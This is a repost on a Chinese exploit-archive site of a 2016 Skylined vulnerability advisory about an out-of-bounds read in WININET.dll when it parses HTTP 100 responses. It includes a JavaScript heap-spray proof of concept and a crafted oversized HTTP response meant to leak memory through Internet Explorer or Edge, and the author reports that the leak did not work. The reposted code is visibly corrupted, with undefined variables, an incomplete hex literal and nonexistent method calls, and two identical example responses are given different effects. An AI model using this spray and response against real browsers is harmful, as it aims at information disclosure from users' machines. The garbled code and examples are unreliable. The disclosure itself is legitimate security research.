首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft WININET.dll - CHttpHeaderParser::ParseStatusLine Out-of-Bounds Read (M
来源:http://blog.skylined.nl 作者:Skylined 发布时间:2016-11-11  
<!--
Source: http://blog.skylined.nl/20161110001.html
 
Synopsis
 
A specially crafted HTTP response can cause the CHttp::Parse method in WININET to read data beyond the end of a buffer. The size of the read can be controlled through the HTTP response. An attacker that is able to get any application that uses WININET to make a request to a server under his/her control may be able to disclose information stored after this memory block. This includes Microsoft Internet Explorer, Microsoft Edge and Microsoft Windows Media Player. As far as I can tell WININET is widely used by Microsoft applications to handle HTTP requests, and probably be all third-party applications that use Windows APIs to make HTTP requests. All these applications may be vulnerable to the issue, though it may be hard to exploit in most (if not all, see below).
 
Known affected versions, attack vectors and mitigations
 
WININET.dll
 
The issue was first discovered in pre-release Windows 10 fbl_.140912-1613, which contained WININET.DLL version 11.00.9841.0. This vulnerability appears to have been present in all versions of Windows 10 since, up until the issue was addressed in August 2016. No mitigations against the issue are known.
Microsoft Internet Explorer
XMLHttp can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.
 
Microsoft Edge
 
XMLHttp can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.
 
Microsoft Windows Media Player
 
Opening a link to a media file on a malicious server can be used to trigger the issue.
Microsoft has released two bulletins to address this issue, one for Microsoft Internet Explorer and one for Microsoft Edge. I do not know why Microsoft did not mention other applications in their bulletins, nor why they have two fixes for these specific applications, rather than one fix for a component of the Windows Operating System.
 
One wonders what would happen on a system where you have previously uninstalled both MSIE and Edge: do neither of the fixes apply and will your system be left vulnerable? Let me know if you found out!
 
Repro
 
The below repro consists of two parts: an HTML file that constructs an XMLHttp in order to trigger the issue and a raw HTTP response that actually triggers it.
-->
 
<!DOCTYPE html>
<html>
  <head>
    <script>
      // This Po attempts to exploit a memory disclosure bug in WININET.dll
      // that affects Microsoft Edge and Internet Explorer. However, it fails
      // to reveal any information as intended. You might want to use this as
      // a starting point for further investigation.
      // See http://blog.skylined.nl/20161110001.html for details.
      window.onerror = function (a, b, c) {
        alert([a,b,c].join("\r\n"));
      }
      var aau = [];
      function spray() {
        aau = [];
        for (var u = 0; u < 0x10000; u++) {
          var auHole = new Uint32Array(0x200 / 4);
          aau.push(au);
          au[0] = 0x;
          au[1] = 0x0D0A0D0A;
          au[2] = 0x0;
          var auHeap = new Uint32Array(0x200 / 4);
          aau.push(au);
          au[0] = 0x41424344;
          au[1] = 0x0D0A0D0A;
          au[2] = 0x0;
        }
      };
      function send() {
        spray();
        var oXHR = new XMLHttp();
        o.open("GET", "Response.http?" + new Date().value());
        o.send();
        o.add("load", function() {
          alert("load: " + JSON.stringify(o.status) + " " + JSON.stringify(o.status) + "\r\n" +
              JSON.stringify(o.response));
          set(send, 1000);
        });
        o.add("error", function() {
          alert("error: " + JSON.stringify(o.status) + " " + JSON.stringify(o.status) + "\r\n" +
              JSON.stringify(o.response));
          set(send, 1000);
        });
      }
      send();
      // This work by Sky is licensed under a Creative Commons
      // Attribution-Non-Commercial 4.0 International License.
    </script>
  </head>
</html>
 
<!--
Response.http
 
HTTP/1.1 100 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
 
HTTP/1.1 200 X
 
Description
 
When WININET is processing a HTTP 100 response, it expects another HTTP response to follow. WININET stores all data received from the server into a buffer, uses a variable to store an index into this buffer to track where it is currently processing data, and uses another variable to store the length of the remaining data in the buffer.
 
When processing the headers of the HTTP 100 request, the code updates the index correctly, but does not decrement the length variable. When the code processes the next request, the length variable is too large, which can cause the code to read beyond the end of the data received from the server. This may cause it to parse data stored in the buffer that was previously received as part of the current HTTP response, and can even cause it to do the same for data read beyond the end of the buffer. This can potentially lead to information disclosure.
 
The larger the HTTP 100 response is, the more bytes the code reads beyond the end of the data. Here are some example responses and their effect:
 
  "HTTP 100\r\n\r\n" (12 bytes in HTTP 100 response)
    => read "X" and the next 11 bytes in memory as the next response.
  "HTTP 100\r\n\r\n" (12 bytes in HTTP 100 response)
    => read "XXXX" and the next 8 bytes in memory as the next response.
  "HTTP 100XXX\r\n\r\n" (15 bytes in HTTP 100 response)
    => read "X" and the next 14 bytes in memory as the next response.
  "HTTP 100XXX........XXX\r\n\r\n..." (N bytes in HTTP 100 response)
    => read "X" and the next (N-1) bytes in memory as the next response.
 
Exploit
 
This issue is remarkably similar to an issue in HTTP 1xx response handling I found in Google Chrome a while back. That issue allowed disclosure of information from the main process' memory through response headers. I attempted to leak some data using this vulnerability by using the following response:
 
  "HTTP 100XXX........XXX\r\n 200 X"
 
I was hoping this would cause the OOB read to save data from beyond the end of the HTTP 200 reponse in the status property of the XMLHttp, but I did not immediately see this happen; all I got was "OK" or an empty string.
 
Unfortunately, I did not have time to reverse the code and investigate further myself. All VCPs I submitted the issue to rejected it because they though it was not practically exploitable.
 
Time-line
 
October 2014: This vulnerability was found through fuzzing.
October-November 2014: This vulnerability was submitted to ZDI, i and EIP.
November-December 2014: ZDI, i and EIP all either reject the submission because Windows 10 is in pre-release, or fail to respond.
August 2015: re-submitted to ZDI, i and EIP, since Windows 10 is now in public release.
September-October 2015: ZDI, i and EIP all either reject the submission because they do not consider it practically exploitable, or fail to respond.
June 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue.
September 2016: The vulnerability was address by Microsoft in MS16-105.
November 2016: Details of this issue are released.
-->
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·e107 CMS 2.1.2 - Privilege Esc
·Microsoft Internet Explorer 9-
·Microsoft Windows Kernel - win
·PCMan FTP Server 2.0.7 HELP Bu
·VBScript 5.8.7600.16385 / 5.8.
·PCMan FTP Server 2.0.7 LIST Bu
·Avira Antivirus 15.0.21.86 - '
·Office OLE DLL Hijacking
·Eir D1000 Wireless Router - WA
·InvoicePlane 1.4.8 - Password
·Linux Kernel - TCP Related Rea
·Schoolhos CMS 2.29 - Remote Co
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved